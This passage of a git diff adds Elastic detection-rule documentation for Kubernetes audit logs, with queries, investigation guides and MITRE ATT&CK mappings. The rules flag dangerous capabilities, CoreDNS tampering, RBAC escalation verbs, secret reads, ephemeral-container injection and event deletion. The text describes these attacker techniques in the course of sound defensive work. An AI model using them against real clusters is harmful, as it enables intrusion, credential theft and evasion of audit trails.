+SYS_BOOT - Use reboot(2) and kexec_load(2), reboot and load a new kernel for later execution. +SYS_MODULE - Load and unload kernel modules. +SYS_PTRACE - Trace arbitrary processes using ptrace(2). +SYS_RAWIO - Perform I/O port operations (iopl(2) and ioperm(2)). +SYSLOG - Perform privileged syslog(2) operations. + + +*False positive analysis* + + +- While these capabilities are not included by default in containers, some legitimate images may need to add them. This rule leaves space for the exception of trusted container images. To add an exception, add the trusted container image name to the query field, kubernetes.audit.requestObject.spec.containers.image. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: kubernetes.audit_logs and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb: create and kubernetes.audit.objectRef.resource: pods and +kubernetes.audit.requestObject.spec.containers.securityContext.capabilities.add: ("BPF" or "DAC_READ_SEARCH" or "NET_ADMIN" or "SYS_ADMIN" or "SYS_BOOT" or "SYS_MODULE" or "SYS_PTRACE" or "SYS_RAWIO" or "SYSLOG") and +not ( + kubernetes.audit.requestObject.spec.containers.image : (docker.elastic.co/beats/elastic-agent* or rancher/klipper-lb* or "") or + kubernetes.audit.objectRef.namespace:"kube-system" or + (kubernetes.audit.objectRef.namespace:datadog and kubernetes.audit.requestObject.spec.containers.image:*datadog-agent*) or + (kubernetes.audit.objectRef.namespace:kubearmor and kubernetes.audit.requestObject.spec.containers.image:(*kubearmor\:kubearmor* or kubearmor/kubearmor-snitch*)) or + (kubernetes.audit.objectRef.namespace:defender and kubernetes.audit.requestObject.spec.containers.image:*fp-prisma\:defender-defender*) or + (kubernetes.audit.objectRef.namespace:metallb-system and kubernetes.audit.requestObject.spec.containers.image:(quay.io/frrouting* or quay.io/metallb/speaker*)) or + (kubernetes.audit.objectRef.namespace:longhorn-system and kubernetes.audit.requestObject.spec.containers.image:rancher/mirrored-longhornio*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-coredns-or-kube-dns-configuration-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-coredns-or-kube-dns-configuration-modified.asciidoc new file mode 100644 index 0000000000..a28ed2b585 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-coredns-or-kube-dns-configuration-modified.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-kubernetes-coredns-or-kube-dns-configuration-modified]] +=== Kubernetes CoreDNS or Kube-DNS Configuration Modified + +Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/ +* https://coredns.io/plugins/rewrite/ +* https://attack.mitre.org/techniques/T1565/001/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes CoreDNS or Kube-DNS Configuration Modified* + + +Identify who performed the change (user.name, groups), from where (source.ip), and which ConfigMap was modified. +If request/response capture is available, review the changed Corefile content for upstream redirection, wildcard +rewrites, or unexpected forward/proxy targets. + + +*Possible investigation steps* + + +- Confirm the actor is authorized to modify kube-system DNS configuration and whether the change aligns with a change window. +- Review the ConfigMap diff for added rewrite rules, hosts entries, or forwarding to external or unexpected internal IPs. +- Correlate with follow-on suspicious activity such as secret reads, token minting, or RBAC modifications. +- Check for cluster-wide symptoms: service connection failures, TLS errors, or sudden endpoint changes across namespaces. + + +*Response and remediation* + + +- Revert the ConfigMap to a known-good version and restart DNS pods if required by your deployment. +- Restrict RBAC permissions that allow update/patch/delete on kube-system DNS ConfigMaps and investigate the source identity. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.objectRef.resource:"configmaps" and +kubernetes.audit.objectRef.name:("coredns" or "kube-dns" or "coredns-custom") and +kubernetes.audit.objectRef.namespace:"kube-system" and +kubernetes.audit.verb:("update" or "patch" or "delete") and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +not user.name:( + system\:serviceaccount\:kube-system\:coredns or + system\:serviceaccount\:kube-system\:kube-dns or + system\:node\:* or + eks\:* or aksService or acsService +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc new file mode 100644 index 0000000000..b057fabd23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount]] +=== Kubernetes Creation of a RoleBinding Referencing a ServiceAccount + +This rule detects the creation of RoleBindings or ClusterRoleBindings that reference a ServiceAccount, which may indicate privilege delegation or potential RBAC misconfiguration leading to elevated access. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Creation of a RoleBinding Referencing a ServiceAccount* + + +This rule detects creation of a RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, a common way to delegate access inside the cluster and a frequent precursor to stealthy privilege escalation or persistence. Attackers who gain the ability to create bindings often attach an over-privileged role (or cluster-wide role) to an existing ServiceAccount used by a workload, then use that workload’s token to operate with elevated rights without creating new user identities. + + +*Possible investigation steps* + + +- Identify the principal that created the binding (user/service account), along with the source IP, user-agent, and authentication method, to determine whether it originated from an expected controller, CI/CD system, or a suspicious client. +- Review the new RoleBinding/ClusterRoleBinding’s `roleRef` and subjects to determine what permissions were granted, and assess blast radius by inspecting the referenced Role/ClusterRole rules for high-impact verbs/resources (e.g., secrets, pods/exec, nodes, RBAC). +- Determine where the referenced ServiceAccount is used by enumerating pods/deployments in the namespace that run under it, checking whether service account tokens are mounted, and whether this SA is associated with privileged workloads or externally reachable services. +- Correlate nearby audit activity for additional RBAC or identity changes (new roles, bindings, service accounts, token requests) and for follow-on actions performed using the ServiceAccount that indicate attempted privilege escalation or persistence. +- Validate the change against approved deployment/change records and, if unauthorized or overly permissive, remove/roll back the binding and rotate or invalidate the ServiceAccount credentials while tightening RBAC to least privilege. + + +*False positive analysis* + + +- A cluster administrator or GitOps-driven deployment legitimately creates or updates RoleBindings/ClusterRoleBindings to grant a workload ServiceAccount the minimal permissions required for a new release, namespace onboarding, or routine RBAC refactoring. +- Kubernetes controllers or automation running under authorized identities (e.g., internal operators, admission policies, or namespace provisioning jobs) create bindings for default or system ServiceAccounts as part of standard cluster bootstrap, reconciliation, or multi-tenant namespace setup. + + +*Response and remediation* + + +- Immediately fetch and snapshot the created RoleBinding/ClusterRoleBinding manifest, its referenced Role/ClusterRole, and recent Kubernetes audit events around the creator and the ServiceAccount to preserve evidence and establish scope. +- Contain potential misuse by deleting or scaling down workloads that use the referenced ServiceAccount and temporarily revoking the new binding (or applying an emergency deny policy via admission controls) until the change is validated. +- Eradicate unauthorized privilege delegation by removing the binding, replacing it with a least-privilege Role/RoleBinding scoped to the required namespace/resources, and rotating credentials by recreating the ServiceAccount or forcing token/key rotation for any dependent workloads. +- Recover safely by redeploying affected applications with the corrected RBAC, validating that required operations succeed without cluster-admin-equivalent rights, and monitoring for repeated binding creation or follow-on access to secrets, pod exec, or node-level resources. +- Escalate to platform security/incident response immediately if the binding references a high-privilege ClusterRole (e.g., cluster-admin), targets a broadly used ServiceAccount, or is followed by suspicious actions such as secret reads, new token requests, or pod exec sessions from the same identity. +- Harden by enforcing RBAC guardrails with admission policies that restrict who can create RoleBindings/ClusterRoleBindings and which roles may be referenced, disabling auto-mounting of service account tokens where not needed, and adopting GitOps-only RBAC changes with mandatory review. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "kubernetes.audit_logs" and kubernetes.audit.requestObject.spec.serviceAccountName:* and +kubernetes.audit.verb:"create" and kubernetes.audit.objectRef.resource:("rolebindings" or "clusterrolebindings") and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-creation-or-modification-of-sensitive-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-creation-or-modification-of-sensitive-role.asciidoc new file mode 100644 index 0000000000..b49c6b500c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-creation-or-modification-of-sensitive-role.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-kubernetes-creation-or-modification-of-sensitive-role]] +=== Kubernetes Creation or Modification of Sensitive Role + +Detects the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (e.g., bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Creation or Modification of Sensitive Role* + + +This rule detects allowed create, update, or patch actions on Roles and ClusterRoles that introduce high-risk RBAC permissions, including wildcard access and escalation verbs like bind, escalate, or impersonate. These changes matter because they can silently expand privileges and enable persistence or lateral movement across the cluster. Attackers commonly add a new ClusterRole with `*` verbs/resources and then use it to bind themselves or a service account to cluster-admin–equivalent access. + + +*Possible investigation steps* + + +- Identify the responsible identity and origin by reviewing the audit event’s user/service account, userAgent, and source IPs, then confirm whether the action came from approved automation (e.g., GitOps/CI) or an interactive session. +- Retrieve and diff the Role/ClusterRole manifest before vs after the change to pinpoint newly added wildcards, escalation verbs (bind/escalate/impersonate), or permissions over RBAC resources that enable privilege escalation. +- Enumerate RoleBindings/ClusterRoleBindings that reference the modified role and determine which users/groups/service accounts gained effective permissions, prioritizing bindings created/changed near the same time. +- Validate authorization intent by correlating the change with a change ticket/PR and the expected namespace/cluster scope, and flag any out-of-band edits (kubectl apply/edit) that bypass the normal workflow. +- If suspicious, contain by reverting the role and removing or disabling newly privileged bindings/subjects, then hunt for follow-on activity from the same identity (e.g., creation of new service accounts, secrets access, or additional RBAC changes) within the incident window. + + +*False positive analysis* + + +- Cluster administrators or platform automation legitimately create or update Roles/ClusterRoles to include wildcard verbs/resources or escalation-related verbs (bind/escalate/impersonate) during initial cluster bootstrapping, feature enablement, or maintenance, especially when enabling broad operational access for system components. +- Routine RBAC refactoring such as consolidating multiple granular roles into a single reusable role, migrating permissions across namespaces, or adjusting access for incident response can temporarily add permissions over RBAC resources (roles/rolebindings/clusterroles/clusterrolebindings) and trigger the rule even when the change is approved and tracked. + + +*Response and remediation* + + +- Immediately locate and quarantine the changed Role/ClusterRole by reverting it to the last known-good manifest (from Git/GitOps) or deleting it if unauthorized, and remove any new RoleBinding/ClusterRoleBinding subjects that reference it. +- Contain the actor by disabling or rotating credentials for the responsible user/service account (and its tokens), and if the change came from a workload, isolate the namespace/workload (scale down, deny egress) until provenance is confirmed. +- Eradicate persistence by searching for and removing additional RBAC changes made in the same window (new roles, bindings, service accounts) and by revoking any newly granted access to secrets or cluster-scoped resources discovered during review. +- Recover by redeploying RBAC from a controlled pipeline, validating effective permissions for impacted subjects, and monitoring for re-creation of the same role name or re-binding attempts after rollback. +- Escalate to platform security/incident response immediately if the role grants wildcard permissions, includes `impersonate`/`escalate`/`bind`, is cluster-scoped, or is bound to non-admin subjects or external identities without an approved change record. +- Harden by enforcing RBAC guardrails (OPA Gatekeeper/Kyverno policies blocking wildcard/escalation verbs except for approved groups), restricting who can create/update RBAC objects, and requiring all RBAC changes to flow through code review and signed GitOps automation. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-kubernetes.audit_logs-* metadata _id, _index, _version +| WHERE + kubernetes.audit.objectRef.resource in ("roles", "clusterroles") and + kubernetes.audit.verb in ("create", "update", "patch") and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.level == "RequestResponse" and kubernetes.audit.stage == "ResponseComplete" and + not kubernetes.audit.sourceIPs in ("::1", "127.0.0.1") and + not (user.name like "eks:*" and kubernetes.audit.objectRef.name like "eks:*") and + not (user.name == "aksService" and event.action == "create" and kubernetes.audit.objectRef.name like "aks:*") and + not (user.name == "system:serviceaccount:kube-system:clusterrole-aggregation-controller" and kubernetes.audit.objectRef.name in ("admin", "edit") and event.action == "patch") and + ( + // using requestObject + KQL(""" kubernetes.audit.requestObject.rules.verbs:("*" or "escalate" or "bind" or "impersonate") """) or + KQL(""" kubernetes.audit.requestObject.rules.verbs: ("*" or "create" or "patch" or "update") and kubernetes.audit.requestObject.rules.resources:("*" or "clusterroles" or "clusterrolebindings" or "roles" or "rolebindings" or "pods/exec" or "serviceaccounts/token" or "nodes/proxy" or "daemonsets") """) or + KQL(""" kubernetes.audit.requestObject.rules.verbs: ("*" or "get" or "list") and kubernetes.audit.requestObject.rules.resources:("*" or "secrets") """) or + + // using responseObject + KQL(""" kubernetes.audit.responseObject.rules.verbs:("*" or "escalate" or "bind" or "impersonate") """) or + KQL(""" kubernetes.audit.responseObject.rules.verbs: ("*" or "create" or "patch" or "update") and kubernetes.audit.responseObject.rules.resources:("*" or "clusterroles" or "clusterrolebindings" or "roles" or "rolebindings" or "pods/exec" or "serviceaccounts/token" or "nodes/proxy" or "daemonsets") """) or + KQL(""" kubernetes.audit.responseObject.rules.verbs: ("*" or "get" or "list") and kubernetes.audit.responseObject.rules.resources:("*" or "secrets") """) + ) +| keep user.name, user_agent.original, event.action, source.ip, kubernetes.audit.verb, kubernetes.audit.objectRef.resource, kubernetes.audit.objectRef.name, kubernetes.audit.requestURI, kubernetes.audit.user.username, kubernetes.audit.user.groups, `kubernetes.audit.annotations.authorization_k8s_io/decision`, event.original, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-ephemeral-container-added-to-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-ephemeral-container-added-to-pod.asciidoc new file mode 100644 index 0000000000..e9a5e4b39b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-ephemeral-container-added-to-pod.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-kubernetes-ephemeral-container-added-to-pod]] +=== Kubernetes Ephemeral Container Added to Pod + +Detects allowed updates to the pods/ephemeralcontainers subresource by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Ephemeral Container Added to Pod* + + +Ephemeral containers allow adding a container to an existing pod for troubleshooting. When abused, they can be used to +gain interactive access to a workload, read sensitive files, and run tools that were not present in the original image. + + +*Possible investigation steps* + + +- Review the actor (user.name, groups), source.ip, and user_agent.original and confirm the identity is authorized to use ephemeral containers. +- Inspect kubernetes.audit.objectRef (namespace, name) to identify the targeted pod and workload owner. +- If request bodies are captured, review the ephemeral container image, command, and securityContext for privilege indicators. +- Correlate with follow-on audit activity such as pod exec, secret reads, TokenRequest, or RBAC modifications. + + +*Response and remediation* + + +- If unauthorized, remove excessive RBAC that grants update/patch on pods/ephemeralcontainers and rotate exposed credentials. +- Quarantine or redeploy impacted workloads and hunt for additional compromised pods or identities. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.objectRef.resource:"pods" and +kubernetes.audit.objectRef.subresource:"ephemeralcontainers" and +kubernetes.audit.verb:("update" or "patch") and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +not user.name:( + system\:node\:* or + system\:serviceaccount\:kube-system\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-events-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-events-deleted.asciidoc new file mode 100644 index 0000000000..e641bc8b2d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-events-deleted.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-kubernetes-events-deleted]] +=== Kubernetes Events Deleted + +This rule detects the deletion of Kubernetes events, which can indicate an attempt to cover up malicious activity or misconfigurations. Adversaries may delete events to remove traces of their actions, making it harder for defenders to investigate and respond to incidents. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Events Deleted* + +Kubernetes, a container orchestration platform, logs events to track activities within the cluster. These events are crucial for monitoring and troubleshooting. Adversaries may delete these logs to hide their tracks, impeding incident response. The detection rule identifies deletions of Kubernetes events, signaling potential defense evasion attempts by matching specific audit log attributes, thus alerting security teams to investigate further. + + +*Possible investigation steps* + + +- Review the audit logs to identify the source of the deletion request by examining the `kubernetes.audit.user.username` field to determine which user or service account initiated the delete action. +- Check the `kubernetes.audit.sourceIPs` field to trace the IP address from which the deletion request originated, which can help identify potential unauthorized access. +- Investigate the `kubernetes.audit.objectRef.namespace` field to understand which namespace the deleted events belonged to, as this can provide context on the affected applications or services. +- Analyze the timeline of events leading up to the deletion by reviewing other audit logs with similar `kubernetes.audit.verb` values to identify any suspicious activities or patterns. +- Assess the role and permissions of the user or service account involved in the deletion to determine if they had legitimate access or if there was a potential privilege escalation. +- Cross-reference the deletion event with other security alerts or logs to identify any correlated activities that might indicate a broader attack or misconfiguration. + + +*False positive analysis* + + +- Routine maintenance activities may involve the deletion of Kubernetes events, such as during cluster upgrades or cleanup tasks. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools that manage Kubernetes resources might delete events as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by whitelisting their service accounts or IP addresses. +- Misconfigured applications or services might inadvertently delete events. Regularly review and update configurations to ensure they align with best practices, and consider excluding specific applications if they are known to cause benign deletions. +- Development and testing environments often have more frequent event deletions as part of iterative testing processes. Implement separate monitoring rules or thresholds for these environments to reduce noise in alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access or tampering with event logs. +- Review and restore any deleted Kubernetes events from backup logs or snapshots to ensure a complete audit trail is available for further investigation. +- Conduct a thorough review of access controls and permissions within the Kubernetes environment to identify and revoke any unauthorized access that may have led to the deletion of events. +- Implement stricter logging and monitoring policies to ensure that any future deletions of Kubernetes events are detected and alerted in real-time. +- Escalate the incident to the security operations center (SOC) for a comprehensive analysis of potential breaches and to determine if additional systems or data were affected. +- Coordinate with the incident response team to conduct a root cause analysis and identify any vulnerabilities or misconfigurations that allowed the event deletion to occur. +- Update and reinforce security policies and procedures to prevent similar incidents, including enhancing detection capabilities for defense evasion tactics as outlined in MITRE ATT&CK. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and kubernetes.audit.verb == "delete" and +kubernetes.audit.objectRef.resource == "events" and kubernetes.audit.stage == "ResponseComplete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-exposed-service-created-with-type-nodeport.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-exposed-service-created-with-type-nodeport.asciidoc new file mode 100644 index 0000000000..fbf8c6a047 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-exposed-service-created-with-type-nodeport.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-kubernetes-exposed-service-created-with-type-nodeport]] +=== Kubernetes Exposed Service Created With Type NodePort + +This rule detects an attempt to create or modify a service as type NodePort. The NodePort service allows a user to externally expose a set of labeled pods to the internet. This creates an open port on every worker node in the cluster that has a pod for that service. When external traffic is received on that open port, it directs it to the specific pod through the service representing it. A malicious user can configure a service as type Nodeport in order to intercept traffic from other pods or nodes, bypassing firewalls and other network security measures configured for load balancers within a cluster. This creates a direct method of communication between the cluster and the outside world, which could be used for more malicious behavior and certainly widens the attack surface of your cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types +* https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport +* https://www.tigera.io/blog/new-vulnerability-exposes-kubernetes-to-man-in-the-middle-attacks-heres-how-to-mitigate/ + +*Tags*: + +* Data Source: Kubernetes +* Tactic: Execution +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 